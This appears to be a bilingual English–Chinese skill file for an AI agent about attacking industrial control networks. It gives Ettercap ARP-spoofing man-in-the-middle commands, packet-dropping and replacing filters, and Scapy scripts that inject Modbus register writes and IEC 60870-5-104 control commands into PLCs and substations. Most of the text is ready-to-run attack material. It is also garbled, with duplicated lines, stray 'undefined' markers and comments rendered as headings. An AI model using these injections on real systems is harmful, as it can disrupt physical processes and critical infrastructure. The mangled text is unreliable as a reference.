ics-traffic

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

ICS/SCADA Traffic Analysis and Exploitation

ICS/SCADA流量分析与利用

When to Use

适用场景

Load this skill when:
  • Analyzing Industrial Control System (ICS) or SCADA traffic
  • Performing MITM attacks on ICS protocols
  • Sniffing or injecting Modbus/TCP packets
  • Working with IEC 60870-5-104 or DNP3 protocols
  • Using Ettercap for ARP spoofing
  • Crafting packets with Scapy
加载本技能的场景:
  • 分析工业控制系统(ICS)或SCADA流量时
  • 对ICS协议实施MITM攻击时
  • 嗅探或注入Modbus/TCP数据包时
  • 处理IEC 60870-5-104或DNP3协议时
  • 使用Ettercap进行ARP欺骗时
  • 使用Scapy构造数据包时

Prerequisites

前置条件

Essential Setup

必要配置

bash
undefined
bash
undefined

Enable IP forwarding (REQUIRED for MITM)

Enable IP forwarding (REQUIRED for MITM)

sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv4.ip_forward=1

Verify setting

Verify setting

sysctl net.ipv4.ip_forward # Should return 1

**Why?** Without IP forwarding, intercepted packets won't be forwarded, causing network disruption and failed MITM.
sysctl net.ipv4.ip_forward # Should return 1

**原因:** 如果未启用IP转发,截获的数据包将无法被转发,会导致网络中断并使MITM攻击失败。

Check Network Interface

检查网络接口

bash
undefined
bash
undefined

List available interfaces

List available interfaces

ip link show
ip link show

Common interface names

Common interface names

- eth0: Wired Ethernet

- eth0: Wired Ethernet

- wlan0: Wireless

- wlan0: Wireless

- enp0s3: VirtualBox/VMware NAT

- enp0s3: VirtualBox/VMware NAT

undefined
undefined

Ettercap MITM Attacks

Ettercap MITM攻击

Basic ARP Spoofing

基础ARP欺骗

bash
undefined
bash
undefined

Text mode (recommended for CTF)

Text mode (recommended for CTF)

sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/

│ └─target────┘ └─gateway──┘

│ └─target────┘ └─gateway──┘

└─ Mode: arp:remote (full duplex MITM)

└─ Mode: arp:remote (full duplex MITM)

GUI mode

GUI mode

sudo ettercap -G
undefined
sudo ettercap -G
undefined

Target Format

目标格式

FormatExampleDescription
Single IP
/192.168.1.100/
Single target
IP range
/192.168.1.1-30/
Range of IPs
CIDR notation
/192.168.1.0/24/
Entire subnet
With ports
/192.168.1.100/80,443/
Specific ports
MAC + IP
/00:11:22:33:44:55/192.168.1.100/
MAC and IP
格式示例描述
单个IP
/192.168.1.100/
单个目标
IP范围
/192.168.1.1-30/
IP范围
CIDR表示法
/192.168.1.0/24/
整个子网
指定端口
/192.168.1.100/80,443/
特定端口
MAC+IP
/00:11:22:33:44:55/192.168.1.100/
MAC地址与IP地址组合

ARP Spoofing Modes

ARP欺骗模式

bash
undefined
bash
undefined

Full duplex MITM (recommended)

Full duplex MITM (recommended)

sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/

One-way poisoning

One-way poisoning

sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/
sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/

Auto-detect targets

Auto-detect targets

sudo ettercap -T -i eth0 -M arp
undefined
sudo ettercap -T -i eth0 -M arp
undefined

Capture Traffic to PCAP

将流量捕获为PCAP文件

bash
undefined
bash
undefined

Save intercepted traffic

Save intercepted traffic

sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap

Analyze with Wireshark

Analyze with Wireshark

wireshark capture.pcap
wireshark capture.pcap

Or with tshark

Or with tshark

tshark -r capture.pcap -Y "modbus"
undefined
tshark -r capture.pcap -Y "modbus"
undefined

Ettercap Filters

Ettercap过滤器

Filter Compilation

过滤器编译

bash
undefined
bash
undefined

Compile filter

Compile filter

sudo etterfilter modbus_filter.etter -o modbus_filter.ef
sudo etterfilter modbus_filter.etter -o modbus_filter.ef

Use filter in Ettercap

Use filter in Ettercap

sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef
undefined
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef
undefined

Filter Syntax

过滤器语法

c
// Basic structure
if (condition) {
    action;
}

// Common conditions
if (ip.proto == TCP && tcp.dst == 502) {
    msg("Modbus packet detected\n");
}

// Check specific bytes
if (ip.proto == TCP && tcp.dst == 502) {
    if (DATA.data + 7 == 0x03) {  // Function code 0x03 (Read Holding Registers)
        msg("Read Holding Registers request\n");
    }
}

// Block packets
if (tcp.dst == 502 && DATA.data + 7 == 0x05) {  // Write Single Coil
    drop();
    msg("Blocked Write Single Coil\n");
}

// Modify packets
if (tcp.dst == 502) {
    replace("old_value", "new_value");
}
c
// Basic structure
if (condition) {
    action;
}

// Common conditions
if (ip.proto == TCP && tcp.dst == 502) {
    msg("Modbus packet detected\n");
}

// Check specific bytes
if (ip.proto == TCP && tcp.dst == 502) {
    if (DATA.data + 7 == 0x03) {  // Function code 0x03 (Read Holding Registers)
        msg("Read Holding Registers request\n");
    }
}

// Block packets
if (tcp.dst == 502 && DATA.data + 7 == 0x05) {  // Write Single Coil
    drop();
    msg("Blocked Write Single Coil\n");
}

// Modify packets
if (tcp.dst == 502) {
    replace("old_value", "new_value");
}

Example: Modbus Write Blocker

示例:Modbus写入拦截器

c
// File: modbus_block_writes.etter
if (ip.proto == TCP && tcp.dst == 502) {
    // Block write commands
    if (DATA.data + 7 == 0x05 ||  // Write Single Coil
        DATA.data + 7 == 0x06 ||  // Write Single Register
        DATA.data + 7 == 0x0F ||  // Write Multiple Coils
        DATA.data + 7 == 0x10) {  // Write Multiple Registers
        drop();
        msg("Blocked Modbus write command\n");
    }
}
c
// File: modbus_block_writes.etter
if (ip.proto == TCP && tcp.dst == 502) {
    // Block write commands
    if (DATA.data + 7 == 0x05 ||  // Write Single Coil
        DATA.data + 7 == 0x06 ||  // Write Single Register
        DATA.data + 7 == 0x0F ||  // Write Multiple Coils
        DATA.data + 7 == 0x10) {  // Write Multiple Registers
        drop();
        msg("Blocked Modbus write command\n");
    }
}

Common ICS Protocols and Ports

常见ICS协议与端口

ProtocolPortDescriptionUse Case
Modbus/TCP502Industrial protocolPLCs, SCADA systems
IEC 60870-5-1042404Power grid controlSubstation automation
DNP320000Utility SCADAElectric/water utilities
OPC UA4840Industrial IoTModern SCADA
EtherNet/IP44818Rockwell automationAllen-Bradley PLCs
S7comm102Siemens protocolSiemens PLCs
协议端口描述适用场景
Modbus/TCP502工业协议PLC、SCADA系统
IEC 60870-5-1042404电网控制协议变电站自动化
DNP320000公共事业SCADA协议电力/水务系统
OPC UA4840工业物联网协议现代SCADA系统
EtherNet/IP44818Rockwell自动化协议Allen-Bradley PLC
S7comm102Siemens协议Siemens PLC

Modbus Protocol

Modbus协议

Modbus Function Codes

Modbus功能码

CodeFunctionTypeRisk
0x01
Read CoilsReadLow
0x02
Read Discrete InputsReadLow
0x03
Read Holding RegistersReadLow
0x04
Read Input RegistersReadLow
0x05
Write Single CoilWriteHigh
0x06
Write Single RegisterWriteHigh
0x0F
Write Multiple CoilsWriteHigh
0x10
Write Multiple RegistersWriteHigh
功能码功能类型风险等级
0x01
读取线圈只读
0x02
读取离散输入只读
0x03
读取保持寄存器只读
0x04
读取输入寄存器只读
0x05
写入单个线圈写入
0x06
写入单个寄存器写入
0x0F
写入多个线圈写入
0x10
写入多个寄存器写入

Scapy Modbus Sniffer

Scapy Modbus嗅探器

python
#!/usr/bin/env python3
"""Sniff Modbus/TCP traffic"""
from scapy.all import *

def modbus_callback(pkt):
    """Process Modbus packets"""
    if TCP in pkt and pkt[TCP].dport == 502:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 8:
            func_code = payload[7]
            func_names = {
                0x01: "Read Coils",
                0x03: "Read Holding Registers",
                0x05: "Write Single Coil",
                0x06: "Write Single Register",
                0x0F: "Write Multiple Coils",
                0x10: "Write Multiple Registers",
            }
            func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
            print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")
python
#!/usr/bin/env python3
"""Sniff Modbus/TCP traffic"""
from scapy.all import *

def modbus_callback(pkt):
    """Process Modbus packets"""
    if TCP in pkt and pkt[TCP].dport == 502:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 8:
            func_code = payload[7]
            func_names = {
                0x01: "Read Coils",
                0x03: "Read Holding Registers",
                0x05: "Write Single Coil",
                0x06: "Write Single Register",
                0x0F: "Write Multiple Coils",
                0x10: "Write Multiple Registers",
            }
            func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
            print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")

Sniff on interface

Sniff on interface

sniff(filter="tcp port 502", prn=modbus_callback, store=0)
undefined
sniff(filter="tcp port 502", prn=modbus_callback, store=0)
undefined

Scapy Modbus Injector

Scapy Modbus注入器

python
#!/usr/bin/env python3
"""Inject Modbus/TCP packets"""
from scapy.all import *

def inject_modbus_write(target_ip, register_addr, value):
    """Inject Write Single Register command"""
    # Modbus TCP header
    transaction_id = 0x0001
    protocol_id = 0x0000
    length = 0x0006
    unit_id = 0x01
    
    # Modbus PDU
    function_code = 0x06  # Write Single Register
    
    # Build packet
    modbus_pdu = struct.pack(
        ">HHHBBB H H",
        transaction_id,
        protocol_id,
        length,
        unit_id,
        function_code,
        register_addr,
        value
    )
    
    pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
    send(pkt)
    print(f"[+] Injected: Write Register {register_addr} = {value}")
python
#!/usr/bin/env python3
"""Inject Modbus/TCP packets"""
from scapy.all import *

def inject_modbus_write(target_ip, register_addr, value):
    """Inject Write Single Register command"""
    # Modbus TCP header
    transaction_id = 0x0001
    protocol_id = 0x0000
    length = 0x0006
    unit_id = 0x01
    
    # Modbus PDU
    function_code = 0x06  # Write Single Register
    
    # Build packet
    modbus_pdu = struct.pack(
        ">HHHBBB H H",
        transaction_id,
        protocol_id,
        length,
        unit_id,
        function_code,
        register_addr,
        value
    )
    
    pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
    send(pkt)
    print(f"[+] Injected: Write Register {register_addr} = {value}")

Usage

Usage

inject_modbus_write("192.168.1.100", register_addr=100, value=999)
undefined
inject_modbus_write("192.168.1.100", register_addr=100, value=999)
undefined

IEC 60870-5-104 Protocol

IEC 60870-5-104协议

Scapy IEC 104 Sniffer

Scapy IEC 104嗅探器

python
#!/usr/bin/env python3
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *

def iec104_callback(pkt):
    """Process IEC 104 packets"""
    if TCP in pkt and pkt[TCP].dport == 2404:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 2:
            start_byte = payload[0]
            if start_byte == 0x68:  # IEC 104 APDU start
                apdu_len = payload[1]
                print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")

sniff(filter="tcp port 2404", prn=iec104_callback, store=0)
python
#!/usr/bin/env python3
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *

def iec104_callback(pkt):
    """Process IEC 104 packets"""
    if TCP in pkt and pkt[TCP].dport == 2404:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 2:
            start_byte = payload[0]
            if start_byte == 0x68:  # IEC 104 APDU start
                apdu_len = payload[1]
                print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")

sniff(filter="tcp port 2404", prn=iec104_callback, store=0)

IEC 104 Command Injection

IEC 104命令注入

python
#!/usr/bin/env python3
"""Inject IEC 104 control commands"""
from scapy.all import *

def inject_iec104_command(target_ip, ioa, value):
    """Inject single command"""
    # IEC 104 APDU structure (simplified)
    start = 0x68
    length = 0x0E
    control_field = 0x0000
    type_id = 0x2D  # C_SC_NA_1 (Single Command)
    
    apdu = bytes([start, length]) + struct.pack("<H", control_field)
    apdu += bytes([type_id, 0x01, 0x06, 0x00])  # SQ=0, NumIX=1
    apdu += struct.pack("<I", ioa)  # Information Object Address
    apdu += bytes([value & 0xFF])
    
    pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
    send(pkt)
    print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")
python
#!/usr/bin/env python3
"""Inject IEC 104 control commands"""
from scapy.all import *

def inject_iec104_command(target_ip, ioa, value):
    """Inject single command"""
    # IEC 104 APDU structure (simplified)
    start = 0x68
    length = 0x0E
    control_field = 0x0000
    type_id = 0x2D  # C_SC_NA_1 (Single Command)
    
    apdu = bytes([start, length]) + struct.pack("<H", control_field)
    apdu += bytes([type_id, 0x01, 0x06, 0x00])  # SQ=0, NumIX=1
    apdu += struct.pack("<I", ioa)  # Information Object Address
    apdu += bytes([value & 0xFF])
    
    pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
    send(pkt)
    print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")

DNP3 Protocol

DNP3协议

Scapy DNP3 Sniffer

Scapy DNP3嗅探器

python
#!/usr/bin/env python3
"""Sniff DNP3 traffic"""
from scapy.all import *

def dnp3_callback(pkt):
    """Process DNP3 packets"""
    if TCP in pkt and pkt[TCP].dport == 20000:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
            print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")

sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)
python
#!/usr/bin/env python3
"""Sniff DNP3 traffic"""
from scapy.all import *

def dnp3_callback(pkt):
    """Process DNP3 packets"""
    if TCP in pkt and pkt[TCP].dport == 20000:
        payload = bytes(pkt[TCP].payload)
        if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
            print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")

sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)

Practical Tips

实用技巧

Verify MITM Success

验证MITM攻击成功

bash
undefined
bash
undefined

On target machine, check ARP table

On target machine, check ARP table

arp -a
arp -a

Look for gateway MAC matching attacker's MAC

Look for gateway MAC matching attacker's MAC

Example output:

Example output:

? (192.168.1.1) at AA:BB:CC:DD:EE:FF [ether] on eth0

? (192.168.1.1) at AA:BB:CC:DD:EE:FF [ether] on eth0

└─ Should be attacker's MAC if MITM successful

└─ Should be attacker's MAC if MITM successful

undefined
undefined

Restore Network After Attack

攻击后恢复网络

bash
undefined
bash
undefined

Ettercap automatically restores ARP on exit (Ctrl+C)

Ettercap automatically restores ARP on exit (Ctrl+C)

Manual restore (if needed)

Manual restore (if needed)

sudo arp -d 192.168.1.1 # Delete poisoned entry
undefined
sudo arp -d 192.168.1.1 # Delete poisoned entry
undefined

Analyze Captured Traffic

分析捕获的流量

bash
undefined
bash
undefined

Filter Modbus in Wireshark

Filter Modbus in Wireshark

tcp.port == 502
tcp.port == 502

Extract Modbus function codes with tshark

Extract Modbus function codes with tshark

tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code
tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code

Count packet types

Count packet types

tshark -r capture.pcap -Y "tcp.port == 502" | wc -l
undefined
tshark -r capture.pcap -Y "tcp.port == 502" | wc -l
undefined

Quick Reference

快速参考

TaskCommand
Enable IP forward
sudo sysctl -w net.ipv4.ip_forward=1
Basic ARP spoof
sudo ettercap -T -i eth0 -M arp:remote /target/ /gw/
Compile filter
sudo etterfilter filter.etter -o filter.ef
Use filter
sudo ettercap -T -i eth0 -F filter.ef -M arp:remote ...
Capture PCAP
sudo ettercap -T -i eth0 -M arp -w capture.pcap
Sniff Modbus
sudo python3 scapy_scripts/modbus_sniffer.py
Check ARP table
arp -a
任务命令
启用IP转发
sudo sysctl -w net.ipv4.ip_forward=1
基础ARP欺骗
sudo ettercap -T -i eth0 -M arp:remote /target/ /gw/
编译过滤器
sudo etterfilter filter.etter -o filter.ef
使用过滤器
sudo ettercap -T -i eth0 -F filter.ef -M arp:remote ...
捕获PCAP
sudo ettercap -T -i eth0 -M arp -w capture.pcap
嗅探Modbus
sudo python3 scapy_scripts/modbus_sniffer.py
查看ARP表
arp -a

Bundled Resources

附带资源

Scapy Scripts

Scapy脚本

  • scapy_scripts/modbus_sniffer.py
    - Modbus/TCP packet sniffer
  • scapy_scripts/modbus_inject.py
    - Inject Modbus commands
  • scapy_scripts/modbus_replay.py
    - Replay captured Modbus traffic
  • scapy_scripts/iec104_sniffer.py
    - IEC 104 packet sniffer
  • scapy_scripts/iec104_inject.py
    - IEC 104 command injection
  • scapy_scripts/dnp3_sniffer.py
    - DNP3 packet sniffer
  • scapy_scripts/modbus_sniffer.py
    - Modbus/TCP数据包嗅探器
  • scapy_scripts/modbus_inject.py
    - Modbus命令注入工具
  • scapy_scripts/modbus_replay.py
    - 重放捕获的Modbus流量
  • scapy_scripts/iec104_sniffer.py
    - IEC 104数据包嗅探器
  • scapy_scripts/iec104_inject.py
    - IEC 104命令注入工具
  • scapy_scripts/dnp3_sniffer.py
    - DNP3数据包嗅探器

Ettercap Filters

Ettercap过滤器

  • ettercap_filters/modbus_filter.etter
    - Log Modbus function codes
  • ettercap_filters/modbus_block_writes.etter
    - Block Modbus write commands
  • ettercap_filters/modbus_read_only.etter
    - Allow only read operations
  • ettercap_filters/iec104_filter.etter
    - IEC 104 packet logging
  • ettercap_filters/iec104_block_commands.etter
    - Block IEC 104 control
  • ettercap_filters/dnp3_block_commands.etter
    - Block DNP3 commands
  • ettercap_filters/modbus_filter.etter
    - 记录Modbus功能码
  • ettercap_filters/modbus_block_writes.etter
    - 拦截Modbus写入命令
  • ettercap_filters/modbus_read_only.etter
    - 仅允许只读操作
  • ettercap_filters/iec104_filter.etter
    - 记录IEC 104数据包
  • ettercap_filters/iec104_block_commands.etter
    - 拦截IEC 104控制命令
  • ettercap_filters/dnp3_block_commands.etter
    - 拦截DNP3命令

References

参考文档

  • references/ettercap_usage.md
    - Comprehensive Ettercap guide
  • references/modbus_quickref.md
    - Modbus protocol reference
  • references/ics_ports.md
    - ICS protocol port reference
  • references/ettercap_usage.md
    - 完整Ettercap使用指南
  • references/modbus_quickref.md
    - Modbus协议速查手册
  • references/ics_ports.md
    - IEC协议端口参考

Keywords

关键词

ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure
ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure